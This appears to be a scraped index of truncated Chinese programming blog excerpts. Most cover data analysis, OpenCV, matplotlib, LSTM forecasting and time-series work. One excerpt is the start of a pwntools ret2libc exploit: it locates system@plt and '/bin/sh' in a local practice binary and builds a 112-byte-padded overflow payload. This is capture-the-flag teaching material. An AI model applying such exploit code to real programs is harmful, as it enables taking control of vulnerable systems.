银行风险控制模型[二分类] 1 数据读取与变量划分 1.1 读取数据 import pandas as pd inputfile = './bankloan.xls' data = pd.read_excel(inputfile) 通过data.head()查看前五行数据，结果如下： 该数据集共700条记录；最后一列表示负债与否， ‘0’表示未违约,‘1’表示违约。 1.2 划
opencv--算术操作 1. 图像的加法2. 图像的混合 1. 图像的加法 API接口cv.add(img1, img2)可以将两幅图相加，或者可以简单地通过numpy操作将两个图像相加，即img=img1 + img2。规定：两个图像应该有相同的大小和数据类型，或者第二个图像为标量值。 注：opencv加法和numpy加法之间
具体知识点全在代码注释中 绘制柱状图 饼状图 直方图 等高线 三维图 import matplotlib.pyplot as plt plt.plot plt.plot([1,4],[2,8]) #绘制一条线是 先先横坐标 再写纵坐标 plt.show() ''' 使用matplotlib绘制图形时，其中最为常用的场景。一个是画点，一个是画线，pylot的
仅仅记录一下简单的特征分析法： 数据集仍是：Pima印第安人糖尿病数据集 主要是：数据分布、散点图、相关性矩阵分析等 代码如下： from operator import index from numpy import loadtxt from numpy import sort from matplotlib import pyplot import numpy as np import pandas a
写在前面 去年七月，笔者开始接触买入股票，近一年下来，投入的的钱亏了一半，股票市场不是基金市场，其中的残酷给我这个初来乍到的年轻人上了一课。当时，我就在想，买卖股票是否能够赚钱，关键就在一个信息。内部的人有内部的消息，总是能赚大量的钱。我作为一个学生，家里边也没有背景，不可能
使用Python绘制1:1对角线图，用于对数据进行比较。 Code： import numpy as np import matplotlib.pyplot as plt x=[1,3,5,7,9] y=[2,5,9,3,7] fig,ax=plt.subplots(figsize=(5,5)) Axis_line=np.linspace(*ax.get_xlim(),2) ax.plot(Axis_line,Axis_line,transform=ax.t
从xlxs表格中读取数据画图，本例子包含各种作折线图的细节。若有问题可留言。 表格中数据为三列n行如下图所示。 1.单坐标轴例子 import xlrd import matplotlib.pyplot as plt from matplotlib.pyplot import plot,savefig from pylab import * config = { "
目录 相关链接完整代码下载链接1 读取数据预处理的文件2 查看时序3 异常值缺失值3.1 HeatMap颜色3.2 缺失值处理（多种填充方式） 4 数据平滑与采样5 平稳性检验6 数据转换7 特征工程7.1 时序提取7.2 编码循环特征7.3 时间序列分解7.4 滞后特征7.6 探索性数据分析7.7 相关性分
一、Tensor操作 ************************************************************************************************************** （1）归并操作 函数功能mean/sum/median/mju均值/和/中位数/众数nom/dist范数/距离std/var标准差/方差cumsum/cumprod累加/累乘 import
在opencv的阈值处理中，有个截断阈值的参数 THRESH_TRUNC 让我有些疑惑。因为从官方资料解释来看，是大于阈值会被设为阈值，小于阈值的保持不变 （DSTI = (SRCI > thresh) ? THRESH : SRCI），且官方解释截图也是如此： Python版代码如下： import cv2 img_gray = cv2.imread("cat.jpg", c
支持向量机（Support Vector Machine, SVM）是一类按监督学习（supervised learning）方式对数据进行二元分类的广义线性分类器（generalized linear classifier），其决策边界是对学习样本求解的最大边距超平面（maximum-margin hyperplane） 在二维空间上，两类点被一条直线完全分开叫做线性可分。从
技术背景 插值法在图像处理和信号处理、科学计算等领域中是非常常用的一项技术。不同的插值函数，可以根据给定的数据点构造出来一系列的分段函数。这一点有别于函数拟合，函数拟合一般是指用一个给定形式的连续函数，来使得给定的离散数据点距离函数曲线的总垂直距离最短，不一定会经过所
原理方面，其他网友已经讲得很详细了，这里补充下python代码 https://blog.csdn.net/liyuanbhu/article/details/49387483 点击查看代码 import cv2 import numpy as np import matplotlib.pyplot as plt # ICV=PA∗(MA−M)2+PB∗(MB−M)2 # 每一个阈值将整个直方图分割成两部分 #
对于matplotlib绘图区总是有比较强迫症的自定义要求，对于刚刚接触Python的新手来说，各种配置起来还是比较繁琐，因此开一个帖子作为注记备忘。（Jupyter-Based） 内置字体： 只能选择同款字体，用默认英文字体无法显示中文，用宋体的话中文能够显示但英文较丑。这里采用rcParams全局设置参数，也
2022/03/06 利用Stitcher进行图像全景拼接 代码 import cv2 as cv import os from matplotlib import pyplot as plt img = [] path = 'D:\work\\automation\Skill\Python\pythonWORK\cv\material\pano' folder = os.listdir(path) for file in folder: im
给定误差函数，学习率，甚至目标变量的大小，训练神经网络可能变得不稳定。训练期间权重的较大更新会导致数值上溢或下溢，通常称为梯度爆炸（gradients exploding）。 梯度爆炸在递归神经网络中更为常见，例如LSTM，因为梯度的累积在数百个输入时间步长上展开。 梯度爆炸的一种常见且相对容
参考: 在matplotlib中动态更新图 更新二维绘图 import time import matplotlib.pyplot as plt import numpy as np from numpy.random import rand if __name__ == '__main__': # Enable interactive mode. plt.ion() # Create a figure and a set of subplo
1.概述 2.Laplacian算子 下面我们用最后得出梯度的幅值为\(G(x,y) = \sqrt{ \left(g_{x}^2 +g_{y}^2\right)}\)方向为: \(\theta = \arctan{\frac{g_{y}}{g_{x}}}\)现在我们用程序来实现这个过程。 拉普拉斯算子，在数学上的表达式为： \[L(x,y) = \frac{\partial f(x)}{\partial x^{
ret2libc 1 exp from pwn import * p = process('./ret2libc1') elf = ELF('./ret2libc1') system_plt = elf.plt["system"] bin_sh = next(elf.search(b"/bin/sh")) payload = b'A'*112 + p32(system_plt) + b'A
长短期记忆网络（LSTM，Long Short-Term Memory） 使用kears 搭建一个LSTM预测模型，使用2022年美国大学生数学建模大赛中C题中处理后的BTC比特币的数据进行数据训练和预测。 这篇博客包含两个预测，一种是使用前N天的数据预测后一天的数据，一种使用前N天的数据预测后N天的数据 第一种：使用前
转自：RC低通滤波器 - 知乎 RC low pass filter，或者叫直流滤波器(DC Filter)， 其作用是采用软件的方式，把一输入交流信号中的直流成分滤除掉。 其传递函数为: 其中K为加权因子，值域为 [0 ~ 1]，值越小由收敛越快，但信号的强度也会被大打折扣。通常该取接近于1的值，经常值为0.999。 下图
长短期记忆网络（LSTM，Long Short-Term Memory） 使用kears 搭建一个LSTM预测模型，使用2022年美国大学生数学建模大赛中C题中处理后的BTC比特币的数据进行数据训练和预测。 这篇博客包含两个预测，一种是使用前N天的数据预测后一天的数据，使用前N天的数据预测后N天的数据 使用前五十个数据
时间序列分析简介 可参考链接： 时间序列详解 时间序列针对不同曲线情况的预测方式 时间序列python实例 python建立时间序列分析 理解ACF 和PACF ADF检验理解 ADF检验补充 实例 某段时间日活预测 历史数据为2022-01-13至2022-02-27的日活数据，大致画出曲线，该曲线不够平滑 1、进
python小波去噪实验 import matplotlib.pyplot as plt import pywt import pandas as pd import numpy as np #读取csv文件转换为列表序列 path = "data_ce（轴承）/48k_Drive_End_B007_0_122_1.csv" pathi = "48k_Drive_End_B007_0_122_1.csv" data0 = pd.read_csv(path, use
跑一个GAN DEMO , 运行时出错。 出错代码： RuntimeError: one of the variables needed for gradient computation has been modified by an inplace operation: [torch.FloatTensor [128, 1]], which is output 0 of TBackward, is at version 2; expected version 1 instea
